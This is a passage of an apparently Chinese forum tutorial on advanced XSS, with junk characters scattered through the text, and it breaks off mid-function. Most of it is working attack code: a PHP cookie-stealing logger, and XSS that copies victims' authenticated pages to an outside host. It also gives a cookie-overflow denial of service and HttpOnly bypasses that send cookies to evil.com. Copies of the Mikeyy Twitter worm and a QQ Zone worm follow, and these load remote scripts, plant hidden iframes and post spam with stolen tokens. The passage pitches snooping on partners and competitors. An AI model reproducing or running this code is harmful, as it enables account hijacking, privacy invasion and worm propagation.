) h( q$ B, Z: K# U5 Y' S2 m& k. F/ [4 h+ r$ `$ ]! _2 L
; ]3 D3 o; W* z
a.php8 s4 F4 g7 A5 z9 {; L* ?
- W( Y% d& j1 O \* J
1 @0 A+ e; d/ ?( h
: ?0 R5 M1 _5 m, {+ u<?php * Q2 y* ?4 K1 {
, H9 o* `" E) f6 Z; |" A9 v0 |3 \+ d
, w3 d+ i* q9 ^7 X7 j- J
$ p7 l' i' c+ y
$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];
: p/ Q" y( _' B8 s/ x2 ^2 B/ C7 B. m+ D. Y. T( s+ ~
$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"]; 9 l' U$ ^, X$ o+ O+ L
& i2 o/ U$ l$ y! r; C " N* R7 N: h' m
+ X: l9 G, q3 t( G
$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");
' o: n& g% ^6 i6 G: P* `9 S1 H5 E1 U2 r
fwrite($fp,$_GET["cookie"]); 7 p) x7 B/ y9 M' B4 L: |2 c+ ^
/ ^; S" \# C' w
fclose($fp);
' w# y+ ^2 Q0 s b& y: _. G5 _3 y4 X% |
?> 8 j9 L0 m* ?8 K
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
z1 O# y7 j2 ^( A5 d- C2 n3 _: s
或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
3 \3 J, S J# F [ o利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
$ f; M1 z2 _1 A3 l- S" ]
9 L9 ~) n0 e4 F4 h' c代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);% ]( i+ J/ ^2 h/ ^
) Q; a# A8 K7 P' m4 x: P
//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);- n j v2 V/ ~# t/ C% Q- K& q
J+ w% {. g# \+ d/ a//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);$ W4 `8 _* W1 Q6 x* i
7 x: F# e) @# w0 |9 e* w; `/ f
function getURL(s) {! m. g% h3 A/ O( w
$ \ U7 J% p$ b& U6 Hvar image = new Image();3 z( e0 z( {1 r' u$ z3 K" q: ?1 A: i
' a. O3 Q2 e% z$ z8 P( Timage.style.width = 0;& X( s; m" k( u) \% [
. I; U" w+ C: `( h, v
image.style.height = 0;# y! z/ l& m" X) X& x, { B
1 S+ w7 m5 Y" Qimage.src = s;
) k; ^$ x6 U X6 s; K2 H4 m) k6 L% _! n8 p
}
5 O1 L8 q6 f- a5 _4 g7 T ?% t3 ?0 f7 w' @4 x
getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
% X! q9 ~7 V3 T! V. D I" b, T8 ^复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.% B9 w; X# o5 X/ T" p
这里引用大风的一段简单代码:<script language="javascript">2 Y9 {8 a m5 l2 K
; _, o3 N# P. b$ S5 ~var metastr = "AAAAAAAAAA"; // 10 A5 h) [! l$ X$ B; A1 U5 q
* W/ k1 a' D, \
var str = "";6 r! X7 u5 k4 d0 A2 H
: ?! W5 Y7 j# W* X% o$ Nwhile (str.length < 4000){
8 ]3 i, R" y7 E, N. Y6 N6 Q- G% l+ T6 F1 X
str += metastr;6 k0 w+ {- N; a) d
4 k& E! N7 m) K9 x' `8 N6 y$ o
}8 l' n$ x2 F: L% K0 v
+ I% s v" ~8 G1 f+ ~4 H
1 V4 G. S& n+ b& Y4 d* Q( ?
, u* Y1 _7 w; |4 S* }5 _2 `2 ldocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS
/ L6 I/ d' h% U* N; F' _% {- D; v8 A! T
</script>, U M# Y4 h2 `8 U: `8 |4 v
; a: g4 y, k, U0 Y. a! G& ^) p详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
1 C8 x$ I8 [7 P7 Z复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.- m, J$ E/ Z0 X
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=1501 F3 P0 F! G- `# O/ d& r. V1 H
' D5 G- p* l9 n7 w4 V( g
假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
5 }: k$ c' V" w3 |) |" s* ?攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
0 s( e# V- t) H
4 c2 i# @+ U7 i1 O& q" \
4 u( V, a) S, e4 x0 m- d1 Z2 ]/ ~" j) T: Y# f
; C O' l+ j3 R# L5 ?. J' `5 U1 |7 T; d* a7 e# q* [) k" |. C( V
& |+ U, x! N+ Z# c
(III) Http only bypass 与 补救对策:+ s. c3 t& N4 p" g) H4 T
- L7 I# i; \+ `7 d9 {. M2 j
什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.1 N& d5 W- W2 J# c. }1 B
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
; R8 U( V' {* V+ h9 w
3 D( U) J8 V6 `) p6 M<!--
3 r3 r0 D A+ x4 M- p3 L) t# G5 b2 b7 ~
function normalCookie() { % \/ @3 w% F+ r6 B; S; G
$ G9 U! k* e! b& {: ^" odocument.cookie = "TheCookieName=CookieValue_httpOnly"; ; n; Z; J! }; e
U& v# G% K' R( Ealert(document.cookie);) P- \. f0 j/ f0 T+ l" q
+ n+ e& w0 C. z5 R' i5 p' ^$ }5 k}
: n$ q' ~7 e9 I. e/ z4 G( k! c! s% G F* I* {/ A
! w. `4 M* { o$ ]8 Y$ h, F7 r
; k5 R9 D* b g* e% [9 g* e; {( _+ p& x6 @/ Q
, P1 ~ y4 J+ R$ F" {/ }
function httpOnlyCookie() { o. t D6 I! H
- v1 v6 L* L1 x/ N+ E- S$ X
document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
1 _2 r9 R" q @6 d5 w/ ? C7 V/ z
alert(document.cookie);}6 m9 Y) W, G, C% x; Y
) b9 \) O& S, K7 q! e! L' d
7 m" m8 F; S. L+ q
$ U$ ~/ x- P4 t" Z3 F//-->
- H+ z1 J: s/ n; n
" l7 F6 w+ R e</script>
) J' U5 U* F1 W6 h$ P
; h. F$ H4 D6 r( |; \3 I: t8 n) I3 ^) m4 b, d
- i- Z! f" F0 e/ Z
<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>+ p9 v: A* L8 {. I7 x
5 I2 e: @' u/ B) Y8 m8 h+ R<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>: m, O9 F0 U- w' e2 d4 p. Q. \) G
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>0 }; I: X4 ^5 `
- G" W) ]/ A4 D/ V& G9 R0 ?
9 c8 q3 z, A/ E9 o9 L/ h# o
- k' w* j* v+ V e( P( V( Dvar request = false;
. J+ ]" r: Z( x! Z. }) y- M0 T* ~6 B+ @5 |/ l! e
if(window.XMLHttpRequest) {. D8 z M" `2 M) v" y" j
! {0 n2 W2 G" {
request = new XMLHttpRequest();8 ^* _$ [) X) {% c X
' x0 L# Z9 N) m: T$ Z; q if(request.overrideMimeType) {
$ s* D+ ^! @# D0 d% ` |8 W2 A- e. `7 p' p: z2 `- d2 W
request.overrideMimeType('text/xml');
% ?$ ~( V$ {2 x( V7 Z
$ t; ?* ^- ?; F2 Z! b }) k! M* s5 {, Y& M5 n
1 M, T' }' E9 k3 e4 V } else if(window.ActiveXObject) {
, T. U! Y* \8 g1 c: ~+ W% y
/ |7 t& j8 J9 r, O H5 q+ E: z var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP']; R6 z4 r' L4 Q1 y; r. x
9 I2 W6 f- k0 G2 A$ ^7 j
for(var i=0; i<versions.length; i++) {2 }8 `) `" h( t5 Y! a
! T9 o* y7 N$ {+ M try {
' a% l6 P: |, U8 ?* P
/ z. S( X: Q/ @9 u request = new ActiveXObject(versions);) Z/ V! _) w' ^/ }$ T8 D9 ?
7 ?2 L" n% }( d! N
} catch(e) {}9 n0 F# a1 ^! E, j
( s; @0 N" f9 ?- g/ f }
& A$ O( r" w8 U% y' B3 G4 B3 [" N; K! d- t$ D8 q% }8 y
}2 O1 D' L' w Q+ ~: f$ ^6 `! T
( s6 \" c' t2 p
xmlHttp=request;' H- U o, i$ i7 M/ H: s
0 |" r/ u# `6 p! e) I3 X0 l7 a OxmlHttp.open("TRACE","http://www.vul.com",false);
/ w* @7 F: ]* W9 q0 r! f# |: e R7 c* w% B$ l% _
xmlHttp.send(null);# z1 A C$ j% p4 R4 Q5 u- l5 Y
p' R) x8 z0 d- T. VxmlDoc=xmlHttp.responseText;7 O8 L" g# A9 G
- w: I1 O% l1 q: r
alert(xmlDoc);, \; }: d% M+ d- U+ `* K" @
" H# B! O* m% u* y+ v6 [* ^
</script>( g6 f5 g- [7 L( v( V6 \8 h n
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
/ d' W! B6 f" _" @, C9 F5 U. A8 h9 f/ e# n* u
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");: |6 Z2 u# [: S
5 f" o" J8 F9 H2 L. @XmlHttp.open("GET","http://www.google.com",false);2 l" W8 V9 v& ~
+ _& Y3 I; u+ X" \& n+ N
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");, w, L6 h! {* l7 Y- ]" K
% n" X5 N v2 a0 {- `! L/ u9 }
XmlHttp.send(null);# v2 @: v4 s7 x- D V
8 V4 V: G9 C9 @2 r! F; D2 ~4 m6 Nvar resource=xmlHttp.responseText. K# } T6 O: E) i1 m8 ^
% L, R4 ?8 s3 W; _2 u, Oresource.search(/cookies/);) n! ?6 g% ~5 U8 l! Y! t
' O5 Y; D' }8 p% T- p0 g. c( p......................1 Q" _* b0 D$ K3 S' `2 x% C* H
( `. \; c" P. R o( I0 w</script>
9 o5 h9 w. Q- f1 A" h9 y
' b$ ~. P0 N/ N7 O, P6 {( A) ^% d1 q8 s9 F9 y3 Y, y4 H% z+ S
1 q( _3 L9 U# C( F" u2 K, ]3 P x
% A6 Y9 `4 W2 x" u( j
% `$ q+ V" K9 ]如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
5 J0 }1 M# l1 Y' I) ]6 }# Q6 l2 d
[code]* }4 J8 H7 u5 W+ W+ ]
8 q6 s8 `& t4 f4 e7 O4 J6 w' o6 LRewriteEngine On
: O: A5 b) h, a, P4 v$ d
$ y( O4 [. H9 [RewriteCond %{REQUEST_METHOD} ^TRACE
; q6 o! u% H+ C* ~* J) g7 g: Q y3 o# b
RewriteRule .* - [F]! `+ Z5 W& K ` T
$ i1 P& _5 }. N; A6 E- \& M- j6 p9 t. L6 I' N! r' P
6 C3 v. N4 M9 z1 Q- C) ~1 w7 sSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求; t( U# o/ D' M; a
0 [+ ~' s0 K) L, O! t) s& z4 F' _
acl TRACE method TRACE; j6 N, Y. a5 C( D4 D
: c' B: V+ U/ w6 t...+ D0 G8 k9 B" Q' T+ l% L$ p" P
! F z2 k Q9 k g: D/ ~5 uhttp_access deny TRACE
, O% o" A5 p! O. v/ ]复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>/ S3 e& K0 J' Q1 @
B8 |4 k/ `, Qvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
7 u; w" [3 U4 \0 ^. _. b3 S L. D% t# V v2 V2 Q4 M# n6 f& i
XmlHttp.open("GET","http://www.google.com",false);
0 v, H! q, p( P* ^9 {" {% G1 s5 W& N+ z
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");1 I1 l: a% z/ X! k
5 z; g3 |. Z+ Z+ U7 d& L" XXmlHttp.send(null);
" n1 q0 T4 E+ f! d
. e8 |2 P- h- W* q% X/ h3 v7 F4 q</script>
; r; [/ W- P- O. k2 X7 R( u复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>* y4 r, F6 t; T) U
; y8 V( P7 z1 |! ]' N* h4 K
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");/ I! p* P; W8 C% O# l G5 j
! [, V P/ V7 @# {- X ?7 X) T7 z# c6 ?. W( j' z' m
) A1 [5 v# _5 H, h
XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);6 R0 P' ?7 F6 s# I
5 H F: f8 `4 w0 n/ {$ z) k
XmlHttp.send(null);
2 N3 W* Q' q6 u2 w" r
, w" e* L: G! K$ {8 a<script>2 [$ q5 d8 D' m# r
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.- M0 a+ a( T E; ~: p2 V
复制代码案例:Twitter 蠕蟲五度發威
3 G3 f; v1 S$ P/ _0 ^; q0 b: \3 v* p第一版:
6 J- ~7 t' N! Y% v5 {! p, T 下载 (5.1 KB)
4 t, y/ M2 g: S% C+ e, ~
2 h. i3 a! @% N; J& z1 h4 y6 天前 08:27
+ A; D# W( b, m+ A9 u% A
0 O+ S0 {+ f, t a( ]+ `第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];
( D3 R* B4 g4 I6 H6 Y2 h$ H0 I9 w/ m2 T) J8 u1 _5 h0 L
2. 4 j y M4 [- L+ G0 }
. Y5 h* a* `% ]7 m 3. function XHConn(){ . m5 K' p& x; y4 ?8 j8 ?/ _' }! I% l
3 t: Z+ A' B' @4 {" ~2 T8 F2 D2 X
4. var _0x6687x2,_0x6687x3=false;
- w9 j( ^0 W7 m9 G% I; ]3 h$ Z+ w3 ?$ e) O8 { W
5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); } & t8 d/ L9 r- |5 \
4 b1 n. Y, l4 t; ^ 6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); } + x# N0 ^8 i, y! Z
9 i# k- V* }# `7 [ 7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); }
* z- b3 L! w4 I: \9 | G+ v% b8 l& q/ t0 g v; _
8. catch(e) { _0x6687x2=false; }; }; }; ' z3 E4 h% O7 a4 O, T
复制代码第六版: 1. function wait() {
: ?5 ]) o) I9 E! d0 v' m1 J' ?# J% M% M( D, {! @
2. var content = document.documentElement.innerHTML; ; m) j$ S5 G1 z5 c
& Q9 }+ R# s& Z+ ?8 A; f 3. var tmp_cookie=document.cookie;
% K: x" Z2 }2 a" d& p# X, ]
' M2 g9 _, H3 q' K% W) ?( I6 M 4. var tmp_posted=tmp_cookie.match(/posted/);
& A5 q/ C. p: n0 W" `' A3 ~9 D! d4 z5 y4 Q& h$ w- G' z
5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g); ! n5 E w0 U* [. I2 u0 A( l- i
4 A. m( K5 m5 e, w: s
6. var authtoken=authreg.exec(content);
* k' [4 P# {8 e" x7 t$ o" L) w6 q" ~7 @
7. var authtoken=authtoken[1];
& o% C, z" ?0 N5 }
+ j/ n2 j- R) E( M# k 8. var randomUpdate= new Array();
/ ]* X m" v2 s3 q/ W9 r
: A4 Q, H P! }4 W$ c2 ^( y 9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy."; 2 J) t/ n1 W: {, l
& f( }0 S8 _6 g 10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy."; 3 M1 e# j' s! {
; o1 ?6 u1 V! W: z 11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy."; + b1 [, }7 g u
k7 x3 b8 Z7 W# x" j5 W 12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy."; 7 G+ }& V! @) [4 p- M
/ s% c7 T! U, ^: @
13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";
6 N9 t2 \$ e4 i0 V* y
0 \+ q7 z' y/ D* I5 y 14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
7 D% w: Q# t( ~8 Z& ?1 u7 J: I3 o: c* G- l& F9 g, \/ ?
15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy."; / u( I, y3 p6 I) v& v
6 x9 s# _5 [" V7 ?9 _& r 16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy."; - H4 j; d; E$ s# V. h& O
6 i" A) ?2 [) g$ ]# q
17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";
" i9 _4 d, t) O8 Q( w" r/ V2 z/ x! o' D$ M
18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";
& f. q; @* i- X! }; ]/ y, j- L5 E; b% W* E5 I
19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy."; $ A" X6 o' F+ ~8 O7 z3 N) e ^
% N, w: ~9 H- Q+ @ 20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy."; f' U& T9 |8 b. S: L, m1 [
+ `* D+ Z# Y5 W5 } 21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";
: c- b$ _" x7 j: Z
3 k& q# l" j; F. `" |* F/ v e7 A! m 22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF"; + \; X) q5 K! R/ z, a" b
2 a* @# A2 _9 g
23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe"; / Y1 _/ ^/ F( u9 f) h2 l( z' j
0 c6 o( n0 N U e$ B 24. / b! S& w( H: J# Z) |6 X
' E2 k7 U$ o! w2 _* \$ j 25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)]; ! e" e9 ]' U9 w# I
; Q# H* Z4 G9 s) _+ i% d
26. var updateEncode=urlencode(randomUpdate[genRand]);
: _( u( K( e8 g: V4 t" W$ b8 X3 v8 A6 c) s
27.
% O9 h8 {" X; e* K
( l% }1 m n6 }3 r. e 28. var ajaxConn= new XHConn(); + s. X# |/ O, v( R9 O% B8 N! G
$ x0 x& J; M; U6 h" ?2 [0 e: M7 K0 i
29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");
% Y$ D- I2 p* k8 t+ R4 A. Z& B3 l3 e$ w
30. var _0xf81bx1c="Mikeyy";
7 z+ \' ^5 O4 o: }
* f& Y6 H4 l& o% ?$ L 31. var updateEncode=urlencode(_0xf81bx1c);
4 T9 H. X3 [3 P8 D1 Q4 h: x. u. B$ U! l+ ^. U: U0 z
32. var ajaxConn1= new XHConn();
4 B* F3 ^& n% A" C N
# I: A! f# l$ w; _- L; n8 A6 i 33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");
5 H7 r) q: N( Z8 C Q! b
: ]( k+ g5 E+ F0 ]9 S$ x" c5 I 34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333"; $ |# u# z) K1 j3 @
" y- ~7 w: T; I; v! I 35. var XSS=urlencode(genXSS);
) Y5 j- `# u8 ]3 D5 Z* U8 @/ I+ p& `3 v3 l5 L* X; Z- ]
36. var ajaxConn2= new XHConn();
: R6 \9 i5 x$ X1 g2 }
1 u& [3 F" v: {* h& \9 O, \2 u 37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");
3 r; |# j+ Z: \9 t' J9 N3 V$ ?( x2 i
38.
* ~6 k7 Z% Z9 W8 M* z# {2 [" |. u+ V8 D) g4 B5 J
39. } ; ! s: y- ~' V( d/ m6 B+ x B! ?# L1 H
( E+ O# u, y6 V7 S 40. setTimeout(wait(),5250); . o% b5 W2 `- \4 O( E
复制代码QQ空间XSSfunction killErrors() {return true;}( n D: \0 I" f+ P6 c( w" C
$ U+ b/ n2 C1 Z0 { ~window.onerror=killErrors;+ N& @* [" k& v: p# X
- V E) A' r& K3 L9 m( I" x) _
* W- ]' @3 ]# ^" w S
" y/ H6 F2 L" X5 e: Pvar shendu;shendu=4;; |% l! ^1 G. [' d8 |% J) f0 r
W7 c7 u1 u1 X" e( d//---------------global---v------------------------------------------5 K6 l6 D& e, V: W! k5 a
: E1 {3 b! ]+ F3 Z//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?
9 @# ^) L7 c6 e5 D) J' ~! k$ c
! `/ s) Q8 Q( G0 Y$ j' |7 ^; Nvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
$ ^. \1 M' ]/ s8 @
9 N" V8 j; g @8 e$ C0 Evar myblogurl=new Array();var myblogid=new Array();
) ^& b, r* g5 T* `) C/ O+ U/ N8 A8 M! W7 r, a) a8 |. ^: D( u( Q6 L
var gurl=document.location.href;
! n7 {- H% {3 V6 _6 F, O; W
2 i4 g! C' E% L1 Z/ b# N* h7 N var gurle=gurl.indexOf("com/");' j5 Q! D' M1 f0 G/ V3 g
3 T# f( m% o' Q) A+ G0 j. H gurl=gurl.substring(0,gurle+3);
0 `9 @8 U; B) K0 ^( g) `& a2 V: z# ?
var visitorID=top.document.documentElement.outerHTML;' A" H( A5 Z6 b* ~
1 i" K+ S: |6 h var cookieS=visitorID.indexOf("g_iLoginUin = ");# t. j# M7 a i1 Q( h' }/ g2 S7 v
: M7 g8 a9 D/ J6 q( W! w& H; [
visitorID=visitorID.substring(cookieS+14);) B6 R; S9 d1 P3 A" H- C7 `. J6 V
1 B0 r# w, o+ o z) N( L4 P
cookieS=visitorID.indexOf(",");
* {# I& Z/ b5 X9 k: t' v( I3 c0 O& {* f9 o f! c
visitorID=visitorID.substring(0,cookieS);
, E x' u& F/ b8 f) O& d
3 ]) m- k n- m' m get_my_blog(visitorID);( l3 M; p2 L3 T6 T0 h% C& r$ v
4 A6 t# X9 \, M2 q
DOshuamy();
2 M. i& ?* n9 C* ~0 E
" d+ v" j6 Z, Y4 D( T9 F& o6 I3 a& B0 q* z6 C
/ @1 D8 f; H9 n% S
//挂马3 f6 x* j% Z+ ^. d; ?! O# M- w
4 Y/ ?2 }/ U1 Z8 K* A$ N( [- d1 x
function DOshuamy(){
) W' c3 b% ^. c/ ^
( W F6 n) q( `2 Z& I2 ?var ssr=document.getElementById("veryTitle");# Y; ~" A: N6 E7 f2 c7 c
: {4 e0 t, m p' tssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
4 ?: v7 i+ V6 T' W: a: f: Q& f; D( g% a7 e1 Q0 C: P; G
}" t* u# @8 t# e: G R f
3 I8 S& Q" ^0 g# h7 u) X
: Z7 f, X3 `% H; }
1 _/ y7 @; x. c6 b/ a//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?
! F' U' b( p: T$ `2 Q* |* @5 b2 r7 @6 [* t! |% P3 D. h. D4 c- W
function get_my_blog(visitorID){8 }: _! O2 r8 W4 a2 m. e
# Y& U- @+ J: _5 l; k! q) T
userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";" i, [5 B, M% P, R) |
; M, U1 x5 _9 K8 F! @& m2 b5 t xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象% S6 n1 o# o' ?! `( w% U
" |1 r5 H' Y9 \, x& u if(xhr){ //成功就执行下面的
9 E. ?1 p) v D& v; _1 y1 v/ F7 E/ B5 [6 b% i! F$ h6 P; N
xhr.open("GET",userurl,false); //以GET方式打开定义的URL8 I5 i, }8 v Q# h1 G4 q
: n1 N; Y( j' d* j+ L# q xhr.send();guest=xhr.responseText;
) N5 s$ n& E; Z3 Q
( A2 V l& k* H get_my_blogurl(guest); //执行这个函数
9 W9 V) L5 v2 @* q' ]$ x" ~& f% o3 `6 ~5 K
}
5 T+ J5 U! M* P8 R+ Z+ I5 k6 M# v, w( j0 l6 J
}; K% X) d" ~1 x: j3 ?4 C1 l! Q' w# }$ D
* I* x: S5 q# h' q
5 A* V- V7 ?, J; N6 Y; D8 [, J' O4 l& J: G
//这里似乎是判断没有登录的
' o, n) X! g0 X7 C! r3 r0 _9 V# x& W
/ F/ g# |5 \/ a* s# lfunction get_my_blogurl(guest){
% e$ z d6 n4 K
4 b, C3 @' |* D2 W0 d var mybloglist=guest;
* g2 }- ^, b& r, N3 Z6 u' Z6 b1 L6 n) z9 D8 {6 p
var myurls;var blogids;var blogide;
: y4 G, G1 R8 M4 m+ ^5 c) e& n3 s9 R: b% e2 [4 t+ X$ h
for(i=0;i<shendu;i++){% ^# _# F3 x4 y: f$ y% Y8 [, k
/ N1 o0 B' b- _" z6 l" Z0 x myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了
) O& r+ i6 W, d
; H9 U7 l! H; M( m6 H if(myurls!=-1){ //找到了就执行下面的
/ ~7 F+ f" T Z6 R x/ e
3 p+ a, v! |" g8 |! L7 k& ?& w9 q mybloglist=mybloglist.substring(myurls+11);
6 j5 |% G1 e' g$ Y" I7 O4 ]# M% x6 O- d! B0 k
myurls=mybloglist.indexOf(')');0 b/ ~8 Y6 J" k% C' |' F7 _
: {$ R+ n8 `' R: { r) z, W myblogid=mybloglist.substring(0,myurls);
2 W3 a0 _2 U5 N6 G+ ]& o
7 M* s! \% o0 U& P }else{break;}
' B) G5 ^7 z p2 @# P
" A) m- v& \' r) |; v5 P$ V}
3 X4 C( k) G* K' u! U9 `) B% V. s R5 j, U& v7 S& n ~. y1 A3 S
get_my_testself(); //执行这个函数: U: [. t. \" L" T
9 o* S4 z0 ]" J
}" J( B8 M6 o! j4 `
3 n3 M" _ N: o9 h0 W
- w! ^, z. H0 l( n' M6 J
5 L9 _* V& ]1 v p( J- u& S//这里往哪跳就不知道了3 [, ~& \% w& K! p/ l$ L- t
) B- B9 H5 \1 z) v9 o* X1 xfunction get_my_testself(){
* y5 i% A' C3 e/ m3 a8 I% j% B Z+ |$ }% F
for(i=0;i<myblogid.length;i++){ //获得blogid的值
7 ]: a; g) Q( K; {) ^3 @
3 }0 v4 K: a5 \) d* q var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();/ g$ `2 A% | a% x
